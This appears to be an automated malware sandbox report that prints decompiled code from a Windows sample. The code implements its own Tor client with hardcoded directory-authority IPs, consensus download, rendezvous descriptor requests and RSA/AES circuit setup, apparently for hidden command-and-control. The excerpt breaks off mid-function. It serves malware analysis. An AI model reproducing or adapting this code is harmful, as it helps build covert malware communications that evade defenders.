Source File: 00000000.00000002.305873396.000000000040A000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a000_R53a3ZJHBQ.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: 6fc3d535fe4fca52893103af3ec490a7673316368da8459ae254074e9b47b81e
Instruction ID: 397f2532017531020f2401e4ed55c10372bdbda84cd56f285e07d3cb14600b79
Opcode Fuzzy Hash: 6fc3d535fe4fca52893103af3ec490a7673316368da8459ae254074e9b47b81e
Instruction Fuzzy Hash: 85F0E9B76053115ACF207735BC4585B2628DAD53543178437F401E3380F6384D8282AA

Uniqueness

Uniqueness Score: -1.00%

Function 033F0920 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 033F0929

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 8d14ae05a9dad9c05cb957789c0d7b66081069df36a9c1cd08e0a696cbd40e96
Instruction ID: 30d7a66bfda154b9128336625e3198fa971fb7c00ac6e6305f959e87c74458a5
Opcode Fuzzy Hash: 8d14ae05a9dad9c05cb957789c0d7b66081069df36a9c1cd08e0a696cbd40e96
Instruction Fuzzy Hash: 919002A034415112D920259C0C01B0500011791634F304710B131BA2D4D84096004115

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABC7 Relevance: 1.5, APIs: 1, Instructions: 3
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000,0040E666,004177C0,00000314,00000000,?,?,?,?,?,0040A3C3,004177C0,00401D08,00012010), ref: 0040ABC9

Memory Dump Source

Source File: 00000000.00000002.305873396.000000000040A000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a000_R53a3ZJHBQ.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: aaa52d8b45addab579c7dce82829ee88e72efc667ba23e5de2fe2b7bcc0b2b88
Instruction ID: a4a13578eba17ed2a19ae0d351f26f52e23885968aa3d1252695b13c16624c31
Opcode Fuzzy Hash: aaa52d8b45addab579c7dce82829ee88e72efc667ba23e5de2fe2b7bcc0b2b88
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004011B8 Relevance: 106.4, APIs: 16, Strings: 44, Instructions: 1413
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004011B8(signed int __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				long* _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				int _v28;
				int _v32;
				int _v36;
				int _v40;
				signed int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v184;
				char _v312;
				char _v440;
				int _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				short _v454;
				char _v455;
				char _v456;
				char _v460;
				char _v464;
				char _v468;
				char _v472;
				char _v476;
				char _v480;
				char _v484;
				char _v488;
				char _v492;
				char _v496;
				char _v500;
				char _v504;
				char _v508;
				char _v512;
				char _v516;
				char _v520;
				char _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				char _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				char _v572;
				signed int _v576;
				char _v881;
				char _v901;
				char _v1000;
				char _v1041;
				signed int _v1042;
				signed int _v1043;
				char _v1063;
				char _v1064;
				char _v1065;
				intOrPtr _v1069;
				char _v1070;
				char _v1086;
				char _v1284;
				intOrPtr _v1288;
				int _v1292;
				int _v1296;
				char _v1300;
				int _v1304;
				int _v1308;
				char _v1312;
				char _v1313;
				intOrPtr _v1444;
				char _v1445;
				char _v1460;
				char _v1545;
				char _v1565;
				char _v1566;
				signed int _v1570;
				char _v1590;
				char _v1600;
				intOrPtr _v1616;
				char _v1620;
				intOrPtr _v1624;
				CHAR* _v1628;
				intOrPtr _v1632;
				CHAR* _v1636;
				intOrPtr _v1640;
				CHAR* _v1644;
				intOrPtr _v1648;
				CHAR* _v1652;
				intOrPtr _v1656;
				CHAR* _v1660;
				intOrPtr _v1664;
				CHAR* _v1668;
				intOrPtr _v1672;
				CHAR* _v1676;
				intOrPtr _v1680;
				CHAR* _v1684;
				intOrPtr _v1688;
				CHAR* _v1692;
				char _v1696;
				int _v1700;
				int _v1704;
				signed int _v1708;
				char _v1740;
				char* _v1748;
				char* _v1752;
				intOrPtr _v1760;
				intOrPtr _v1764;
				char _v1768;
				intOrPtr _v1772;
				intOrPtr _v1776;
				intOrPtr _v1780;
				intOrPtr _v1784;
				char _v1788;
				intOrPtr _v1792;
				intOrPtr _v1800;
				char _v1808;
				signed int _v1816;
				char _v1828;
				int _v1880;
				int _v1884;
				char _v1888;
				void* _v1892;
				int _v1896;
				char _v1904;
				char _v1916;
				char* _v1920;
				char _v1924;
				BYTE* _v1928;
				int _v1932;
				signed int _t689;
				signed int _t698;
				signed int _t703;
				signed int _t705;
				signed int _t709;
				int _t711;
				signed int _t717;
				signed int _t724;
				intOrPtr _t729;
				signed int _t735;
				char _t736;
				signed int _t743;
				signed int _t770;
				signed int _t775;
				signed int _t795;
				signed int _t797;
				int _t803;
				signed int _t804;
				signed int _t812;
				signed int _t815;
				signed int _t819;
				signed int _t820;
				signed int _t825;
				intOrPtr _t833;
				void* _t835;
				signed int _t839;
				signed int _t847;
				signed int _t866;
				signed int _t868;
				intOrPtr _t883;
				char _t884;
				signed int _t892;
				signed int _t904;
				signed int _t962;
				signed int _t964;
				signed int _t966;
				signed int _t976;
				signed int _t978;
				signed int _t979;
				signed int _t980;
				signed int _t981;
				void* _t983;
				signed int _t984;
				signed int _t986;
				signed int _t987;
				void* _t989;
				signed int _t990;
				int _t998;
				signed int _t1003;
				signed int _t1007;
				intOrPtr _t1011;
				void* _t1014;
				char* _t1020;
				char* _t1026;
				void* _t1028;
				char* _t1030;
				char* _t1031;
				char* _t1032;
				char* _t1033;
				char* _t1034;
				char _t1035;
				char* _t1036;
				BYTE* _t1037;
				char* _t1038;
				char* _t1039;
				char* _t1043;
				char* _t1044;
				char* _t1045;
				void* _t1046;
				intOrPtr* _t1047;
				char _t1050;
				void* _t1051;
				void* _t1052;

				_t1017 = __edx;
				E00406502( &_v1932,  &_v16 - _t1052);
				CryptAcquireContextA( &_v8, 0, "Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider", 0xd, 0xf0000000);
				_push(0);
				_push(0);
				_push(L"SHA1");
				_push( &_v12);
				 *((intOrPtr*)(E00406A3A( &_v16 - _t1052, E0040694A("bcrypt.dll"), "BCryptOpenAlgorithmProvider")))();
				_push(0);
				_push(0);
				_push(L"RSA");
				_push( &_v16);
				 *((intOrPtr*)(E00406A3A( &_v16 - _t1052, E0040694A("bcrypt.dll"), "BCryptOpenAlgorithmProvider")))();
				_push(0);
				_push(0);
				_push(L"AES");
				_push( &_v20);
				 *((intOrPtr*)(E00406A3A( &_v16 - _t1052, E0040694A("bcrypt.dll"), "BCryptOpenAlgorithmProvider")))();
				_push(0);
				_push(0x20);
				_push(L"ChainingModeECB");
				_push(L"ChainingMode");
				_push(_v20);
				_t660 =  *((intOrPtr*)(E00406A3A( &_v16 - _t1052, E0040694A("bcrypt.dll"), "BCryptSetProperty")))();
				_v1896 = 0;
				_v1932 = 0;
				_v1692 = "193.23.244.244";
				_v1688 = 0x50;
				_v1684 = "86.59.21.38";
				_v1680 = 0x50;
				_v1676 = "199.58.81.140";
				_v1672 = 0x50;
				_v1668 = "204.13.164.118";
				_v1664 = 0x50;
				_v1660 = "194.109.206.212";
				_v1656 = 0x50;
				_v1652 = "131.188.40.189";
				_v1648 = 0x50;
				_v1644 = "154.35.175.225";
				_v1640 = 0x50;
				_v1636 = "171.25.193.9";
				_v1632 = 0x1bb;
				_v1628 = "128.31.0.34";
				_v1624 = 0x23ab;
				_v1620 = "128.31.0.39";
				_v1616 = 0x23ab;
				_v1696 = 5;
				while(1) {
					_t31 =  &_v1696;
					 *_t31 = _v1696 - 1;
					_t1054 =  *_t31;
					if( *_t31 < 0) {
						break;
					}
					E00406862(_t660, 0xa);
					_t660 = E00402A95(_t1017, _t1054,  *[ss:ecx+ebp-0x698],  *[ss:ecx+ebp-0x694], "/tor/status-vote/current/consensus",  &_v576);
					_t1055 = _t660;
					if(_t660 == 0) {
						continue;
					}
					_v40 = _t660;
					_t689 = E0040680A(_t1055, _v576, _v40, "directory-footer");
					_t660 = _t689;
					if(_t689 == 0) {
						continue;
					} else {
						_t1017 = _v576;
						_t660 = E00406502(_t660 - _v576 + _v576, _v40 - _t660 - _v576);
						_v1700 = 0;
						_v1704 = 0;
						_t1026 = _v576;
						do {
							if(_v40 > 3 &&  *_t1026 == 0xa &&  *((char*)(_t1026 + 1)) == 0x72 &&  *((char*)(_t1026 + 2)) == 0x20) {
								_v1700 = _v1700 + 1;
								_t987 = E00403FE0(_t1026);
								_t660 = _t987 & 0x00000008;
								if((_t987 & 0x00000008) != 0) {
									_v1704 = _v1704 + 1;
								}
							}
							_t1026 = _t1026 + 1;
							_t51 =  &_v40;
							 *_t51 = _v40 - 1;
						} while ( *_t51 != 0);
						if(_v1700 > 0x3e8) {
							_v1708 = 0;
							while(1) {
								__eflags = _v1708 - 4;
								if(_v1708 > 4) {
									goto L133;
								}
								_t1027 = E00403F98(_v576, E00406862(_t660, _v1700), 0);
								_t660 = E00403FE0(_t693);
								__eflags = _v1708;
								if(_v1708 != 0) {
									L17:
									__eflags = _v1708 - 1;
									if(_v1708 != 1) {
										L19:
										__eflags = _v1708 - 2;
										if(_v1708 != 2) {
											L21:
											__eflags = _v1708 - 4;
											if(__eflags != 0) {
												L23:
												_t698 = E00403EE1(__eflags, _t1027, _t1051 + _v1708 * 4 - 0x6dc, _t1051 + _v1708 * 4 - 0x6f0, _t1051 + _v1708 * 4 - 0x704, _t1051 + _v1708 * 4 - 0x718);
												_t660 = _t698;
												__eflags = _t698;
												if(_t698 != 0) {
													continue;
												}
												__eflags = _v1708 - 1;
												if(_v1708 != 1) {
													L26:
													__eflags = _v1708 - 4;
													if(__eflags != 0) {
														__eflags = _v1708 - 3;
														if(_v1708 != 3) {
															__eflags = _v1708 - 2;
															if(__eflags != 0) {
																__eflags = _v1708;
																if(__eflags != 0) {
																	L130:
																	_v1708 = _v1708 + 1;
																	continue;
																}
																__eflags = E00403009(_t1017, __eflags, _v1780, _v1800, _a12, _a16,  &_v1896);
																if(__eflags == 0) {
																	L131:
																	_t660 = E004062A4(_a12, _a16, _v1896);
																	_v1708 = 0;
																	continue;
																}
																E004044BF(__eflags, _v1896, 0x40826c, 7, 0, _a12);
																_v1892 = 0;
																_t703 = E004048F1(0x186a0,  &_v1920);
																__eflags = _t703;
																if(_t703 == 0) {
																	goto L131;
																}
																_t705 = E004048F1(0x186a0,  &_v1924);
																__eflags = _t705;
																if(_t705 == 0) {
																	goto L131;
																}
																_t1028 = _v1920;
																_v40 = 0;
																_v48 = 0;
																while(1) {
																	E004064C8(_v1896, 0,  &_v1916, 0xa, 0);
																	_push( &_v1904);
																	_push(0);
																	_push(0);
																	_t709 =  &_v1916;
																	_push(_t709);
																	_push(0);
																	L00406CD0();
																	__eflags = _t709;
																	if(__eflags <= 0) {
																		goto L131;
																	}
																	_t711 = E004045F4(__eflags, _v1896,  &_v1892, _a12);
																	__eflags = _t711;
																	if(_t711 <= 0) {
																		goto L131;
																	}
																	_v40 = _v40 + _t711;
																	_t1046 = _v1892;
																	_t998 = _t711;
																	memcpy(_t1028, _t1046, _t998);
																	_t1052 = _t1052 + 0xc;
																	_t1028 = _t1046 + _t998 + _t998;
																	E0040491C( &_v1892);
																	__eflags = _v40 - 0x202;
																	if(_v40 < 0x202) {
																		continue;
																	}
																	_t1017 = _v1920;
																	_t717 =  *(_t1017 + 0x10) & 0x0000ffff;
																	__eflags = _t717 + 0x19 - _v40;
																	if(_t717 + 0x19 > _v40) {
																		continue;
																	}
																	_t1003 =  *(_t717 + _t1017 + 0x17) & 0x0000ffff;
																	__eflags = _v40 - _t1003 + _t717 + 0x21b;
																	if(_v40 != _t1003 + _t717 + 0x21b) {
																		continue;
																	}
																	E00406519(_a4, 0xa,  &_v1600);
																	asm("bswap eax");
																	_t724 =  *((intOrPtr*)(_t1028 - 0x1fd)) + (_v1600 & 0x000000ff) * 0x15180 / 0x100;
																	_t1017 = _t724 % 0x15180;
																	asm("bswap eax");
																	_v1570 = _t724 / 0x15180;
																	E00406502(_v1924, 0x186a0);
																	_t1050 = _v1924;
																	 *((char*)(_t1050 + 4)) = 8;
																	_t729 = E0040647B(_t1028 - 0x1fd, _t1050 + 5, 4);
																	 *((short*)(_t1050 + 9)) = 0x404;
																	_push(_v1780);
																	L00406CB8();
																	 *((intOrPtr*)(_t1050 + 0xb)) = _t729;
																	 *((intOrPtr*)(_t1050 + 0xf)) = 0x40401;
																	_t660 = E004044BF(__eflags, _v1896, _t1050, 0x202, 0, _a12);
																	goto L130;
																}
																goto L131;
															}
															_t735 = E00403475(__eflags, _v12, _v8, _v16, _v20, _a12, _v1896, _v1776, _v1816, _v1772, _v1792, _v1760, _v1752, 1,  &_v516,  &_v512,  &_v508,  &_v504,  &_v572);
															__eflags = _t735;
															if(_t735 <= 0) {
																goto L131;
															}
															_t736 = E00406502(_v1924, 0x186a0);
															_t1030 = _v1924;
															 *_t1030 = 0x80;
															 *((char*)(_t1030 + 3)) = 1;
															 *((char*)(_t1030 + 4)) = 3;
															 *((char*)(_t1030 + 5)) = 0x21;
															 *((char*)(_t1030 + 0xf)) = 0x14;
															_t1007 = 0;
															while(1) {
																__eflags = _t1007 - 0x14;
																if(_t1007 >= 0x14) {
																	break;
																}
																 *[ss:ecx+ebp-0x650] = _t736;
																_t1007 = _t1007 + 1;
																__eflags = _t1007;
															}
															E0040647B( &_v1620, _t1030 + 0x10, 0x14);
															E004038CD(_v12, _v516, _v508, 0, _t1030 + 5, 0, _v564);
															E004044BF(__eflags, _v1896, _v1924, 0x202, 0, _a12);
															_t743 = E004047EF(_v1896, _v1920, 0x202, _a12, 0x14);
															_t1031 = _v1920;
															__eflags = _t743;
															if(_t743 != 0) {
																goto L131;
															}
															__eflags =  *((char*)(_t1031 + 4)) - 3;
															if(__eflags != 0) {
																goto L131;
															}
															_t660 = E0040394E(__eflags, _v12, _v512, _v504, 0, _t1031 + 5, 1, _v560);
															__eflags = _t660;
															if(_t660 == 0) {
																goto L131;
															}
															__eflags =  *((intOrPtr*)(_t1031 + 5)) - 0x27;
															if( *((intOrPtr*)(_t1031 + 5)) != 0x27) {
																goto L131;
															}
															goto L130;
														}
														_v56 = 0;
														_v24 = 2;
														_v28 = 1;
														while(1) {
															__eflags = _v56 - 2;
															if(_v56 >= 2) {
																break;
															}
															_v1566 = _v56;
															E00403381(_v12,  &_v1570, 5,  &_v1590, 0, 0xffffffff);
															E00403381(_v12,  &_v1600, 0x1e,  &_v1565, 0, 0xffffffff);
															E00406611( &_v1565, 0x14,  &_v1545);
															E0040647B( &_v1704,  &_v40, 4);
															E0040647B( &_v1704,  &_v48, 4);
															_t989 = 0;
															while(1) {
																__eflags = _v48;
																if(_v48 <= 0) {
																	break;
																}
																E0040647B( &_v48,  &_v40, 4);
																_v40 = _v40 >> 1;
																_t770 = E00403EE1(__eflags, E00403F98(_v576, _t989 + _v40, 8),  &_v1748,  &_v1768,  &_v1788,  &_v1808);
																_v36 = 0;
																__eflags = _t770;
																if(_t770 != 0) {
																	L76:
																	__eflags = _v36 - 1;
																	if(_v36 != 1) {
																		E0040647B( &_v40,  &_v48, 4);
																	} else {
																		_t989 = _t989 + _v40 + 1;
																		_v48 = _v48 - _v40 + 1;
																	}
																	continue;
																}
																CryptStringToBinaryA(_v1748, 0, 1, 0,  &_v32, 0, 0);
																CryptStringToBinaryA(_v1748, 0, 1,  &_v1445,  &_v32, 0, 0);
																_t1014 = 0;
																while(1) {
																	__eflags = _t1014 - 0x14;
																	if(_t1014 >= 0x14) {
																		goto L76;
																	}
																	_t833 =  *[ss:ecx+ebp-0x5a1];
																	__eflags = _t833 -  *[ss:ecx+ebp-0x619];
																	if(_t833 >  *[ss:ecx+ebp-0x619]) {
																		goto L76;
																	}
																	__eflags = _t833 -  *[ss:ecx+ebp-0x619];
																	if(_t833 !=  *[ss:ecx+ebp-0x619]) {
																		_v36 = 1;
																	}
																	_t1014 = _t1014 + 1;
																}
																goto L76;
															}
															_v32 = 0;
															while(1) {
																__eflags = _v32 - 3;
																if(_v32 >= 3) {
																	break;
																}
																_t775 = E00403F98(_v576, _t989, 8);
																_t989 = _t989 + 1;
																_t1017 = _t775;
																__eflags = E00403EE1(__eflags, _t775,  &_v1748,  &_v1768,  &_v1788,  &_v1808);
																if(__eflags != 0) {
																	continue;
																}
																__eflags = E00403475(__eflags, _v12, _v8, _v16, _v20, _a12, _v1896, _v1776, _v1816, _v1768, _v1788, _v1760, _v1748, _v24,  &_v500,  &_v496,  &_v492,  &_v488,  &_v556);
																if(__eflags <= 0) {
																	L102:
																	E004037CC(_v1896, _v1920, _a12, _v24);
																	_v24 = _v24 + 1;
																	_v28 = _v28 + 1;
																	_v32 = _v32 + 1;
																	_t660 = E0040680A(__eflags, _v1924, 0x186a0, "-----END MESSAGE-----");
																	__eflags = _t660;
																	if(_t660 != 0) {
																		_v52 = _t660;
																		goto L130;
																	}
																	continue;
																}
																E00406502(_v1924, 0x186a0);
																_t1032 = _v1924;
																 *_t1032 = 0x80;
																 *((char*)(_t1032 + 3)) = _v24;
																 *((char*)(_t1032 + 4)) = 3;
																 *((char*)(_t1032 + 5)) = 0xd;
																 *((char*)(_t1032 + 9)) = _v28;
																E004038CD(_v12, _v500, _v492, 0, _t1032 + 5, 0, _v548);
																E004044BF(__eflags, _v1896, _v1924, 0x202, 0, _a12);
																_t795 = E004047EF(_v1896, _v1920, 0x202, _a12, 0x14);
																_t1033 = _v1920;
																__eflags = _t795;
																if(_t795 != 0) {
																	goto L131;
																}
																__eflags =  *((char*)(_t1033 + 4)) - 3;
																if(__eflags != 0) {
																	goto L102;
																}
																_t797 = E0040394E(__eflags, _v12, _v496, _v488, 0, _t1033 + 5, 1, _v544);
																__eflags = _t797;
																if(_t797 == 0) {
																	goto L131;
																}
																__eflags =  *((intOrPtr*)(_t1033 + 5)) - 4;
																if(__eflags != 0) {
																	goto L102;
																}
																E00406502(_v1924, 0x186a0);
																_t1034 = _v1924;
																 *_t1034 = 0x80;
																 *((char*)(_t1034 + 3)) = _v24;
																 *((char*)(_t1034 + 4)) = 3;
																 *((char*)(_t1034 + 5)) = 2;
																 *((char*)(_t1034 + 9)) = _v28;
																_t803 = wsprintfA(_t1034 + 0x10, "GET /tor/rendezvous2/%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n",  &_v1545, _v1768);
																_t1052 = _t1052 + 0x10;
																_t804 = _t803 + 1;
																__eflags = _t804;
																 *(_t1034 + 0xf) = _t804;
																E004038CD(_v12, _v500, _v492, 0, _t1034 + 5, 1, _v548);
																E004044BF(__eflags, _v1896, _v1924, 0x202, 0, _a12);
																_v40 = 0;
																_v48 = 2;
																_v52 = 0;
																_t1047 = _v1920;
																_t1035 = _v1924;
																E00406502(_v1924, 0x186a0);
																while(1) {
																	E004064C8(_v1896, 0,  &_v1916, 0xa, 0);
																	_push( &_v1904);
																	_push(0);
																	_push(0);
																	_t812 =  &_v1916;
																	_push(_t812);
																	_push(0);
																	L00406CD0();
																	__eflags = _t812;
																	if(_t812 < 0) {
																		goto L131;
																	}
																	__eflags = _t812;
																	if(__eflags == 0) {
																		goto L102;
																	}
																	_t815 = E004045F4(__eflags, _v1896,  &_v1892, _a12);
																	__eflags = _t815;
																	if(_t815 <= 0) {
																		goto L131;
																	}
																	_t1020 =  &(_v1920[_v40]);
																	_v40 = _v40 + _t815;
																	__eflags = _v40 - 0x186a0;
																	if(_v40 > 0x186a0) {
																		goto L133;
																	}
																	E0040647B(_v1892, _t1020, _t815);
																	E0040491C( &_v1892);
																	_t819 = _v40;
																	_t820 = _t819 / 0x202;
																	_t1017 = _t819 % 0x202;
																	__eflags = _t819 % 0x202;
																	if(_t819 % 0x202 != 0) {
																		continue;
																	}
																	_v44 = _t820;
																	while(1) {
																		__eflags = _v44;
																		if(_v44 <= 0) {
																			break;
																		}
																		__eflags =  *_t1047 - 0x80;
																		if(__eflags != 0) {
																			L99:
																			_t1047 = _t1047 + 0x202;
																			_t480 =  &_v44;
																			 *_t480 = _v44 - 1;
																			__eflags =  *_t480;
																			continue;
																		}
																		_t825 = E0040394E(__eflags, _v12, _v496, _v488, 0, _t1047 + 5, _v48, _v544);
																		__eflags = _t825;
																		if(_t825 == 0) {
																			goto L131;
																		}
																		__eflags =  *((short*)(_t1047 + 4)) - 0x503;
																		if( *((short*)(_t1047 + 4)) == 0x503) {
																			goto L99;
																		}
																		__eflags =  *((short*)(_t1047 + 4)) - 0x203;
																		if(__eflags != 0) {
																			goto L102;
																		}
																		_t1011 =  *((intOrPtr*)(_t1047 + 0xe));
																		E0040647B(_t1047 + 0x10, _t1035, _t1011);
																		_t1035 = _t1035 + _t1011;
																		_t478 =  &_v48;
																		 *_t478 = _v48 + 1;
																		__eflags =  *_t478;
																		goto L99;
																	}
																}
																goto L131;
															}
															_t495 =  &_v56;
															 *_t495 = _v56 + 1;
															__eflags =  *_t495;
														}
														goto L133;
													}
													_t835 = E0040680A(__eflags, _v1924, 0x186a0, "-----BEGIN MESSAGE-----") + 0x17;
													_v52 = _v52 - _t835;
													_t1036 = _v1920;
													while(1) {
														__eflags = _v52;
														if(_v52 <= 0) {
															break;
														}
														asm("lodsb");
														__eflags = _t835 - 0x20;
														if(_t835 > 0x20) {
															asm("stosb");
														}
														_t81 =  &_v52;
														 *_t81 = _v52 - 1;
														__eflags =  *_t81;
													}
													 *_t1036 = 0;
													CryptStringToBinaryA(_v1920, 0, 1, 0,  &_v32, 0, 0);
													_t839 = E004048F1(_v32,  &_v1928);
													__eflags = _t839;
													if(_t839 == 0) {
														goto L133;
													}
													CryptStringToBinaryA(_v1920, 0, 1, _v1928,  &_v32, 0, 0);
													_t1037 = _v1928;
													_t990 = 0;
													while(1) {
														__eflags = _t990 - 3;
														if(_t990 >= 3) {
															break;
														}
														__eflags = _v32;
														if(__eflags > 0) {
															_t978 = E004067D0(__eflags, _t1037, _v32, "introduction-point");
															__eflags = _t978;
															if(__eflags == 0) {
																break;
															}
															 *(_t1051 + _t990 * 4 - 0x72c) = _t978;
															_t979 = E004067D0(__eflags, _t1037, _v32, "ip-address");
															__eflags = _t979;
															if(__eflags == 0) {
																goto L133;
															}
															 *(_t1051 + _t990 * 4 - 0x738) = _t979;
															_t980 = E004067D0(__eflags, _t1037, _v32, "onion-port");
															__eflags = _t980;
															if(__eflags == 0) {
																goto L133;
															}
															 *(_t1051 + _t990 * 4 - 0x744) = _t980;
															_t981 = E0040680A(__eflags, _t1037, _v32, "service-key");
															__eflags = _t981;
															if(__eflags == 0) {
																goto L133;
															}
															_t983 = _t981 + 1 - _t1037;
															_t1037 =  &(_t1037[_t983]);
															_v32 = _v32 - _t983;
															_t984 = E0040680A(__eflags, _t1037, _v32, "KEY-----");
															__eflags = _t984;
															if(__eflags == 0) {
																goto L133;
															}
															 *((intOrPtr*)(_t1051 + _t990 * 4 - 0x750)) = _t984 + 8;
															_t986 = E0040680A(__eflags, _t1037, _v32, "-----END");
															__eflags = _t986;
															if(_t986 == 0) {
																goto L133;
															}
															 *_t986 = 0;
															_t990 = _t990 + 1;
															__eflags = _t990;
															continue;
														}
														break;
													}
													while(1) {
														__eflags = _t990;
														if(__eflags <= 0) {
															break;
														}
														_t990 = _t990 - 1;
														_t847 = E00403475(__eflags, _v12, _v8, _v16, _v20, _a12, _v1896, _v1776, _v1816,  *(_t1051 + _t990 * 4 - 0x738),  *(_t1051 + _t990 * 4 - 0x744), _v1760,  *(_t1051 + _t990 * 4 - 0x72c), _v24,  &_v484,  &_v480,  &_v476,  &_v472,  &_v540);
														__eflags = _t847;
														if(_t847 <= 0) {
															L57:
															E004037CC(_v1896, _v1920, _a12, _v24);
															_t271 =  &_v24;
															 *_t271 = _v24 + 1;
															__eflags =  *_t271;
															continue;
														}
														_t883 = E00406862(E00406502( &_v1600, 0x400), 0x100);
														asm("stosb");
														asm("loop 0xfffffff5");
														_v1070 = 2;
														_push(_v1764);
														L00406CB8();
														_v1069 = _t883;
														_t884 = E00406493(_v1784);
														_v1065 = _t884;
														_v1064 = _t884;
														CryptStringToBinaryA(_v1752, 0, 1, 0,  &_v40, 0, 0);
														CryptStringToBinaryA(_v1752, 0, 1,  &_v1063,  &_v40, 0, 0);
														_t892 = E004040A0(_t1017, __eflags, _v1776, _v1816,  &_v1063,  &_v1041);
														__eflags = _t892;
														if(_t892 == 0) {
															goto L131;
														}
														_v1043 = _t892;
														_v1042 = _t892;
														E0040647B( &_v1620,  &_v901, 0x14);
														_v456 = 7;
														_v455 = 2;
														_v454 = 0;
														_v452 = 0xaa02;
														_v448 = 0x32484400;
														_v444 = 0x400;
														E00406862(E0040647B(0x40841c,  &_v440, 0x80), 0x100);
														asm("stosb");
														asm("loop 0xfffffff5");
														E00406502( &_v312, 0x80);
														_v312 = 2;
														E00403E6B(_v8,  &_v456,  &_v881);
														_t1043 =  &_v1460;
														_t904 = 1;
														while(1) {
															_t904 = _t904;
															__eflags = _t904;
															if(_t904 == 0) {
																break;
															}
															asm("lodsb");
															__eflags = _t904 - 0x20;
															if(_t904 > 0x20) {
																asm("stosb");
															}
														}
														 *_t1043 = 0;
														CryptStringToBinaryA( &_v1460, 0, 1, 0,  &_v36, 0, 0);
														CryptStringToBinaryA( &_v1460, 0, 1,  &_v1600,  &_v36, 0, 0);
														_v40 = 0x94;
														E00406502( &_v1460, 0x94);
														_push( &_v40);
														_push( &_v1460);
														_push(0);
														_push(0x8c);
														_push( &_v1600);
														_push(0x13);
														_push(1);
														L00406D60();
														_v1312 = 0x31415352;
														_v1308 = 0x400;
														_v1304 = 4;
														_v1300 = 0x80;
														_v1296 = 0;
														_v1292 = 0;
														asm("bswap eax");
														_v1288 = _v1444;
														E00406435( &_v1313,  &_v1284, 0x80);
														_push(0);
														_push(0x9c);
														_push( &_v1312);
														_push( &_v460);
														_push(L"RSAPUBLICBLOB");
														_push(0);
														_push(_v16);
														 *((intOrPtr*)(E00406A3A(__eflags, E0040694A("bcrypt.dll"), "BCryptImportKeyPair")))();
														E00406502(_v1924, 0x186a0);
														_t1044 = _v1924;
														 *_t1044 = 0x80;
														 *((char*)(_t1044 + 3)) = _v24;
														 *((char*)(_t1044 + 4)) = 3;
														 *((char*)(_t1044 + 5)) = 0x22;
														 *((char*)(_t1044 + 0xe)) = 0x18b;
														 *((char*)(_t1044 + 0xf)) = 0x18b;
														E00403381(_v12,  &_v1600, 0x8c, _t1044 + 0x10, 0, 0xffffffff);
														_v1888 = L"SHA1";
														_v1884 = 0;
														_v1880 = 0;
														_push(4);
														_push( &_v48);
														_push(0x80);
														_push(_t1044 + 0x24);
														_push(0);
														_push(0);
														_push( &_v1888);
														_push(0x56);
														_push( &_v1086);
														_push(_v460);
														 *((intOrPtr*)(E00406A3A(__eflags, E0040694A("bcrypt.dll"), "BCryptEncrypt")))();
														E00406306( &_v460,  &_v460, 0, 1);
														_v1312 = 0x4d42444b;
														_v1308 = 1;
														_v1304 = 0x10;
														E0040647B( &_v1086,  &_v1300, 0x10);
														_push(0);
														_push(0x1c);
														_push( &_v1312);
														_push(0);
														_push(0);
														_push( &_v460);
														_push(L"KeyDataBlob");
														_push(0);
														_push(_v20);
														 *((intOrPtr*)(E00406A3A(__eflags, E0040694A("bcrypt.dll"), "BCryptImportKey")))();
														E0040647B( &_v1000, _t1044 + 0xa4, 0xf7);
														E0040380B(__eflags, _v460, _t1044 + 0xa4, 0xf7, 0);
														E00406306( &_v460,  &_v460, 0, 1);
														E004038CD(_v12, _v484, _v476, 0, _t1044 + 5, 0, _v532);
														E004044BF(__eflags, _v1896, _v1924, 0x202, 0, _a12);
														_t962 = E004047EF(_v1896, _v1920, 0x404, _a12, 0x64);
														_t1045 = _v1920;
														__eflags = _t962;
														if(_t962 != 0) {
															goto L131;
														}
														__eflags =  *((char*)(_t1045 + 4)) - 3;
														if(__eflags != 0) {
															goto L133;
														}
														_t964 = E0040394E(__eflags, _v12, _v480, _v472, 0, _t1045 + 5, 1, _v528);
														__eflags = _t964;
														if(_t964 == 0) {
															goto L131;
														}
														__eflags =  *((intOrPtr*)(_t1045 + 5)) - 0x28;
														if(__eflags != 0) {
															goto L133;
														}
														_t966 = E0040394E(__eflags, _v12, _v512, _v504, 0, _t1045 + 0x207, 2, _v560);
														__eflags = _t966;
														if(_t966 == 0) {
															goto L131;
														}
														E00406435(_t1045 + 0x291,  &_v312, 0x80);
														_t976 = E004039E5(__eflags, _v8, _v12, _v20,  &_v456, _t1045 + 0x292,  &_v468,  &_v464,  &_v524,  &_v520);
														__eflags = _t976;
														if(_t976 == 0) {
															goto L131;
														}
														_t990 = 0xffffffff;
														goto L57;
													}
													__eflags = _t990;
